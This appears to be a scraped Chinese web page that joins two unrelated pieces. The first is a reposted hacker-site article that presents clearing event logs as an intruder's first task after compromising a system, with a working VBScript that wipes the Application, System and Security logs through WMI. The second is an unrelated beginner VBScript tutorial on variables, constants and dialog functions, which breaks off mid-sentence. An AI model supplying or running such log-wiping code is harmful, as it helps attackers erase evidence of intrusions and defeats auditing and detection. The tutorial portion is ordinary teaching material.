vbs.rar_vbs

利用脚本编程删除日志 　　 　　入侵系统成功后黑客做的第一件事便是清除日志，如果以图形界面远程控制对方机器或是从终端登陆进入，删除日志不是一件困难的事，由于日志虽然也是作为一种服务运行，但不同于http,ftp这样的服务，可以在命令行下先停止，再删除，在命令行下用net stop eventlog是不能停止的，所以有人认为在命令行下删除日志是很困难的，实际上不是这样，比方说利用脚本编程中的VMI就可以删除日志，而且非常的简单方便。源代码如下： 　　 　　 　　 　　strComputer= "." 　　Set objWMIService = GetObject("winmgmts:" _ 　　& "{impersonationLevel=impersonate,(Backup)}!\\" & _ 　　strComputer & "\root\cimv2") 　　dim mylogs(3) 　　mylogs(1)="application" 　　mylogs(2)="system" 　　mylogs(3)="security" 　　for Each logs in mylogs 　　Set colLogFiles=objWMIService.ExecQuery _ 　　("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'") 　　For Each objLogfile in colLogFiles 　　objLogFile.ClearEventLog() 　　Next 　　next 　　 　　 　　将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中，首先获得object对象，然后利用其clearEventLog()方法删除日志。建立一个数组，application,security,system，如果还有其他日志也可以加入数组。然后用一个for循环，删除数组中的每一个元素，即各个日志。 本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：http://www.hackbase.com/tech/2009-09-21/56237.html vbs　　 VBS的概念 　　什么是VBScript呢? VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. 我进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了. [编辑本段]VBS的基础教程 　　 第一篇（共六篇）： 　　 　　我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了, 答案是:记事本.(Notepad).我不是开玩笑, 其实任何一种文本编辑器都可以用来开发VBS开发, 只不过记事本是由系统自带的, 比较好找而已. 尽管如此, 我还是建议你去下载一个专业的文本编辑器, 因为这些工具可以提供 "语法高亮"等功能, 更加方便开发, 用哪一个随你喜好, 我比较喜欢Edit Plus (2.10). 　　OK, 我们先来写一个VBScript程序热热身. 　　REM 输入并回显你的名字 　　'使用InputBox和Msgbox函数 　　（上面可以不必写入源代码中） 　　Dim name,msg 　　msg="请输入你的名字:" 　　name=Inputbox(msg) 　　Msgbox(name) 　　把上面的程序清单输入到记事本里面, 然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行, 观察运行结果. 注意:请自己输入程序清单, 不要复制->粘贴 　　我来解释一下这个程序, 第一行和第二行的开头分别是"REM"语句和" ' ", 这两个东西的作用是相同的, 表示本行是注释行, 就是说这两行什么也不干,只是用来说明这段程序的功能, 版权信息等等. 注释行是程序最重要的部分之一, 尽管它不是必需的, 但对于其他人阅读源代码, 以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰, 简洁的注释. 　　Dim用来声明一个变量, 在VBS中, 变量类型并不是那么重要, 就是说VBS会帮你自动识别变量类型, 而且变量在使用前不一定要先声明, 程序会动态分配变量空间. 在VBS中你不用考虑name储存的是一个整数还是一个小数(学名叫"浮点数"), 也不用考虑是不是字符串(一串字符, 比如:"Hello World"), VBS会自动帮你搞定. 所以第三行语句可以删除, 效果不会变, 但我强烈反对这么做, 一个变量的基本原则就是:先声明,后使用.变量名用字母开头,可以使用下划线,数字, 但不能使用vbs已经定义的字, 比如dim, 也不能是纯数字. 　　下一行被称之为"赋值", "="是赋值符号, 并不是数学中的等于号, 尽管看起来一样.这是正统的理解, 你要理解成等于也没有什么不可. 赋值号的左边是一个变量, 右边是要赋给变量的值, 经过赋值以后, msg这个变量在程序中等同于"请输入你的名字:"这个字符串,但当msg被再次赋值的时候, 原值就会消失. 不光字符串, 其他任何变量都这样被赋值, 例如: a=2, b=12.222等等. 　　再往下,Inputbox和Msgbox是VBS内建的函数, 一个函数就相当于一个"黑箱", 有输入(参数)和输出(返回值), 你可以不用了解函数是怎么运作的, 只要了解这个函数能干什么就行了, 我们也可以定义自己的函数, 不过那要等到以后再讲. 现在我们只要了解, 一个函数可以有返回值也可以没有, 可以有参数也可以没有. 例如Inputbox就是有返回值的函数, 我们用赋值号左边的变量来"接"住InputBox的返回值--就是你输入的内容. 在inputbox右边的括号里是参数列表, 每个参数用","分隔开, 每个参数有不同的功效, 比如第一个参数会显示在提示里, 我们把msg这个变量作为第一个参数传给了Inputbox 函数, 而msg="请输入你的名字:", 所以我们在对话框的提示栏就会看到"请输入你的名字:" 第二个参数是对话框的标题, 我们用直接量(学名叫"常量", 这里是"字符串常量")传递给函数, 当然你也可以传递变量. Inputbox还有很多参数, 比如你在"名称"后面再加一个","然后输入随便一串字符(字符串,用双引号""包裹起来的一串字符叫做字符串)然后运行, 看看结果. 你会发现用于输入的文本框有了默认的值, 这就是第三个参数的作用. 　　Msgbox函数是用来输出的函数, 在VBS中没有专门的输出函数(BASIC中的print,C中的printf), 所以我们只能用对话框来观察输出结果, Msgbox的必要参数只有一个, 就是要输出的内容, 在这种情况下, 我们不需要理会msgbox的返回值. 关于Msgbox和Inputbox我们以后还会在讨论, 今天只是热热身, 到此为止. 　　要点: 　　1) 注释(以REM或'开头)行在程序中不起作用, 但能让别人更容易读懂你的程序. 　　2) 变量好像一个盒子, 或一个代号, 可以代表你想代表的东西. 变量赋值使用"=" 　　3) 以""包裹起来的字符称之为"字符串" 　　4) 函数像一个"黑箱", 有参数和返回值, 用"="左边的变量可以接住返回值 　　5) Inputbox函数弹出一个输入对话框,Msgbox则用于输出 　　作业: 　　1) 试验Inputbox的第三个参数 　　2) 写一段程序输出你的年龄 　　3) 写一段程序进行3次输入, 分别输入你和你父母的姓名(要求显示提示), 并分3次输出 　　参考资料：http://www.stu.la/former/bbs/printpage.asp?BoardID=5&ID=6515 　　 第二篇（共六篇）： 　　 　　我真没想到, 第一次的作业竟然有人不会. 　　看来要讲的非常非常细致才行, 嗯, 今天讲各种"量"和基本运算 　　先说常量, 这个比较简单. 　　什么是常量呢, 常量就是其值不可变化的量. 　　常量分为两种:第一种, 自然常量. 这叫是因为它们本身就是常量, 你怎么更改21的值呢? 他永远都是21, 不可能变成46 　　如果你在程序中使用"21=46", 这样的语句将会引发一个错误. 同样的, 字符串也是常量 (还记得字符串吗? 就是包裹在""之间的一串字符), "Hello World"就是一个例子, 如果你使用"Hello World"="Bye"这样的语句同样会引发一个错误. 你能举出自然常量的更多例子吗? 　　第二种, 是我们自己定义的常量,这种量也使用代号, 他们也被赋值, 但和变量的不同点在于, 他们在定义的时候被赋值,以后就不能改变了,如果企图改变将会引发一个错误. 定义一个变量,我们使用"const"这个关键字(关键字的意思是系统定义了有特殊功能的字, 不能作为变量名或常量名使用) 　　格式是:const 常量名=常量值. 　　例如: 　　const PI=3.1415926 　　const NAME="记忆碎片" 　　这样我们就定义了两个常量, PI和NAME, 一般说来, 常量名全部使用大写, 但也可以不用, 随你喜好. 将一些在程序中不需要改变的值定义为常量是个好习惯, 这样能防止不必要的意外. 另外, 使用自定义常量也可以减少你的工作量. 比如: 　　msgbox("Hello World") 　　msgbox("Hello World") 　　msgbox("Hello World") 　　msgbox("Hello World") 　　msgbox("Hello World") 　　这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢? 常量就可以替我们解决这个问题: 　　const hw="Hello World" 　　msgbox(hw) 　　msgbox(hw) 　　msgbox(hw) 　　msgbox(hw) 　　msgbox(hw) 　　这样当你要修改输出的时候只要修改hw的值就行了. 　　好了, 现在我们来看看编程的第一块重要"基石":变量. 解释变量最好的办法我觉得是"盒子", 一个变量好像一个盒子, 里面只能装一个东西, 当你要装进去别的东西的时候必须把原有的东西拿出来. 这个"盒子"是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理, 而不是盒子. 有些语言是很依赖"盒子"里面装些什么东西, 这样才能找到合适的"盒子"(比如C语言), 但VBS给我提供的是能够自动伸缩的"魔术盒", 我们不用关心装进去的是什么东西, 　　VBS会自动调整盒子的大小. 例如: 　　Dim a1,a2,a3 　　a1=14 　　a2=12.23 　　a3="Hello" 　　而不用像C语言那样麻烦: 或者是VB的正规声明(VB可以声明也可以不用)那样: 　　int a1; Dim a1 as integer 　　float a2; Dim a2 as Double 　　char* a3; Dim a3 as string 　　a1=14; a1=14 　　a2=12.23; a2=12.23 　　a3="Hello"; a3="Hello" 　　嗯……扯远了…… 　　变量有什么用呢? 哇, 那用处可大了. 最简单, 你并不能确定程序运行时变量的值, 比如前一节课我们编的输入姓名的程序,